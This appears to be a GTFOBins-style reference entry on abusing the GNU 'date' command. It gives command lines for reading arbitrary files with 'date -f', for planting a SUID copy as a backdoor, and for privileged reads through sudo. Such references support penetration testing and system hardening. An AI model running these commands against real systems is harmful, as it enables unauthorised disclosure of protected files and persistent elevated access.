.. / date

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• File read
• SUID
• Sudo

Each line is corrupted by a prefix string and wrapped inside quotes, so this may not be suitable for binary files.

This only works for the GNU variant of date.

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

• LFILE=file_to_read
  date -f $LFILE

SUID

It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian that allow the default sh shell to run with SUID privileges.

• sudo sh -c 'cp $(which date) .; chmod +s ./date'
  
  LFILE=file_to_read
  ./date -f $LFILE

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

• LFILE=file_to_read
  sudo date -f $LFILE